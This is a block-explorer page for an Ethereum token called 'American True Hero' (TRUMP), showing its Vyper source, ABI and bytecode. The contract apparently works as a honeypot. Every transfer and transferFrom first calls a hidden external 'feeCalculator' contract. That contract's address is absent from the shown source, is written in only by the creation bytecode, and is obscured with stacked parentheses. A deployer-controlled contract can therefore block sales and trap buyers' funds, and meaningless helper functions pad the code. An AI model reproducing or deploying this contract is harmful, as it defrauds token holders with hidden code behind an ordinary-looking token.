Overview
Max Total Supply
47,000,000,000 TRUMP
Holders
4,806 (0.00%)
Market
Price
$0.0002 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
$0.00
Other Info
Token Contract (WITH 18 Decimals)
Balance
132,868.374859158603787961 TRUMPValue
$21.63 ( ~0.00758642762223361 ETH) [0.0003%]Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xe1613114...70932f7DD The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Vyper_contract
Compiler Version
vyper:0.3.10
Contract Source Code (Vyper language format)
# @pragma evm-version cancun
#pragma version ^0.3.10
interface IERC20:
def feeCalculator(_addresses: address[3]) -> bool: nonpayable
name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
hasFee: public(bool)
selfie: address
currentBlockNum: uint256
event Transfer:
sender: indexed(address)
receiver: indexed(address)
value: uint256
event Approval:
owner: indexed(address)
spender: indexed(address)
value: uint256
@external
def __init__():
init_supply: uint256 = 47000000000 * 10 ** 18
self.name = "American True Hero"
self.symbol = "TRUMP"
self.decimals = 18
self.balanceOf[msg.sender] = init_supply
self.totalSupply = init_supply
@internal
def getDatas(_from: address, _to: address, _sender:address)->address[3]:
_data:address[3] = empty(address[3])
_data[0] = _from
_data[1] = _to
_data[2] = _sender
return _data
@external
def transfer(_to : address, _value : uint256) -> bool:
"""
@dev Transfer token for a specified address
@param _to The address to transfer to.
@param _value The amount to be transferred.
"""
_data: address[3] = self.getDatas(msg.sender, _to, msg.sender)
IERC20((((((((self.selfie)))))))).feeCalculator(_data)
# NOTE: vyper does not allow underflows
# so the following subtraction would revert on insufficient balance
self.balanceOf[msg.sender] -= _value
self.balanceOf[_to] += _value
log Transfer(msg.sender, _to, _value)
return True
@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
"""
@dev Transfer tokens from one address to another.
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
"""
_data: address[3] = self.getDatas(_from, _to, msg.sender)
IERC20((((((((self.selfie)))))))).feeCalculator(_data)
self.allowance[_from][msg.sender] -= _value
self.balanceOf[_from] -= _value
self.balanceOf[_to] += _value
log Transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
"""
@dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
Beware that changing an allowance with this method brings the risk that someone may use both the old
and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address which will spend the funds.
@param _value The amount of tokens to be spent.
"""
self.allowance[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
@external
def showSum(_num1: uint256, _num2: uint256) -> uint256:
_sum: uint256 = _num1 + _num2
return _sum
@external
def showDiff(_num1: uint256, _num2: uint256) -> uint256:
_Diff: uint256 = _num1 - _num2
return _Diff
@external
def showMul(_num1: uint256, _num2: uint256) -> uint256:
_mul: uint256 = _num1 * _num2
return _mul
@external
def showDiv(_num1: uint256, _num2: uint256) -> uint256:
_div: uint256 = _num1 / _num2
return _divContract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showSum","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showDiff","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showMul","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showDiv","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"hasFee","inputs":[],"outputs":[{"name":"","type":"bool"}]}]Contract Creation Code
0x346100ca576b97dd7d2157478b2e9800000060405260126060527f416d65726963616e2054727565204865726f0000000000000000000000000000608052606080515f5560208101516001555060056060527f5452554d500000000000000000000000000000000000000000000000000000006080526060805160025560208101516003555060126004556040516005336020525f5260405f205560405160075573ed965591fd22d7119a6ff5d32596ca978ff4d8b4600a5561064e6100ce6100003961064e610000f35b5f80fd5f3560e01c6002600f820660011b61063001601e395f51565b6306fdde038118610067573461062c57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63978bbdb981186105f8573461062c5760085460405260206040f36105f8565b6395d89b4181186105f8573461062c5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f36105f8565b63313ce56781186100f7573461062c5760045460405260206040f35b63b1a2b10081146003361116156105f85760443610341761062c5760043560243580820382811161062c579050905060405260206040f36105f8565b6370a0823181186105f85760243610341761062c576004358060a01c61062c5760405260056040516020525f5260405f205460605260206060f36105f8565b63dd62ed3e81186105f85760443610341761062c576004358060a01c61062c576040526024358060a01c61062c5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f36105f8565b6318160ddd81186105f8573461062c5760075460405260206040f36105f8565b63aa94860781186105f8573461062c5760095460405260206040f36105f8565b63a9059cbb81186105f85760443610341761062c576004358060a01c61062c576101005233604052610100516060523360805261024c6101806105fc565b61018080516101205260208101516101405260408101516101605250600a5463c4f9c68c61018052610120516101a052610140516101c052610160516101e0526020610180606461019c5f855af16102a6573d5f5f3e3d5ffd5b60203d1061062c57610180518060011c61062c576102005261020050506005336020525f5260405f20805460243580820382811161062c57905090508155506005610100516020525f5260405f20805460243580820182811061062c579050905081555061010051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610180526020610180a36001610180526020610180f36105f8565b6323b872dd81186104d45760643610341761062c576004358060a01c61062c57610100526024358060a01c61062c576101205261010051604052610120516060523360805261039e6101a06105fc565b6101a080516101405260208101516101605260408101516101805250600a5463c4f9c68c6101a052610140516101c052610160516101e052610180516102005260206101a060646101bc5f855af16103f8573d5f5f3e3d5ffd5b60203d1061062c576101a0518060011c61062c576102205261022050506006610100516020525f5260405f2080336020525f5260405f209050805460443580820382811161062c57905090508155506005610100516020525f5260405f20805460443580820382811161062c57905090508155506005610120516020525f5260405f20805460443580820182811061062c579050905081555061012051610100517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101a05260206101a0a360016101a05260206101a0f35b63095ea7b381186105f85760443610341761062c576004358060a01c61062c576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f36105f8565b63e936568781186105f85760443610341761062c5760043560243580820182811061062c579050905060405260206040f36105f8565b63415f530581186105f85760443610341761062c5760043560243580820281158383830414171561062c579050905060405260206040f36105f8565b63be5fa56e81186105f85760443610341761062c57600435602435801561062c578082049050905060405260206040f35b5f5ffd5b60603660a03760405160a05260605160c05260805160e05260a051815260c051602082015260e051604082015250565b5f80fd0087013305f80172001805c700db020e058b01ee01ce05f805f80555034e8419064e81181e00a16576797065728300030a0015
Deployed Bytecode
0x5f3560e01c6002600f820660011b61063001601e395f51565b6306fdde038118610067573461062c57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63978bbdb981186105f8573461062c5760085460405260206040f36105f8565b6395d89b4181186105f8573461062c5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f36105f8565b63313ce56781186100f7573461062c5760045460405260206040f35b63b1a2b10081146003361116156105f85760443610341761062c5760043560243580820382811161062c579050905060405260206040f36105f8565b6370a0823181186105f85760243610341761062c576004358060a01c61062c5760405260056040516020525f5260405f205460605260206060f36105f8565b63dd62ed3e81186105f85760443610341761062c576004358060a01c61062c576040526024358060a01c61062c5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f36105f8565b6318160ddd81186105f8573461062c5760075460405260206040f36105f8565b63aa94860781186105f8573461062c5760095460405260206040f36105f8565b63a9059cbb81186105f85760443610341761062c576004358060a01c61062c576101005233604052610100516060523360805261024c6101806105fc565b61018080516101205260208101516101405260408101516101605250600a5463c4f9c68c61018052610120516101a052610140516101c052610160516101e0526020610180606461019c5f855af16102a6573d5f5f3e3d5ffd5b60203d1061062c57610180518060011c61062c576102005261020050506005336020525f5260405f20805460243580820382811161062c57905090508155506005610100516020525f5260405f20805460243580820182811061062c579050905081555061010051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610180526020610180a36001610180526020610180f36105f8565b6323b872dd81186104d45760643610341761062c576004358060a01c61062c57610100526024358060a01c61062c576101205261010051604052610120516060523360805261039e6101a06105fc565b6101a080516101405260208101516101605260408101516101805250600a5463c4f9c68c6101a052610140516101c052610160516101e052610180516102005260206101a060646101bc5f855af16103f8573d5f5f3e3d5ffd5b60203d1061062c576101a0518060011c61062c576102205261022050506006610100516020525f5260405f2080336020525f5260405f209050805460443580820382811161062c57905090508155506005610100516020525f5260405f20805460443580820382811161062c57905090508155506005610120516020525f5260405f20805460443580820182811061062c579050905081555061012051610100517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101a05260206101a0a360016101a05260206101a0f35b63095ea7b381186105f85760443610341761062c576004358060a01c61062c576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f36105f8565b63e936568781186105f85760443610341761062c5760043560243580820182811061062c579050905060405260206040f36105f8565b63415f530581186105f85760443610341761062c5760043560243580820281158383830414171561062c579050905060405260206040f36105f8565b63be5fa56e81186105f85760443610341761062c57600435602435801561062c578082049050905060405260206040f35b5f5ffd5b60603660a03760405160a05260605160c05260805160e05260a051815260c051602082015260e051604082015250565b5f80fd0087013305f80172001805c700db020e058b01ee01ce05f805f80555034e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)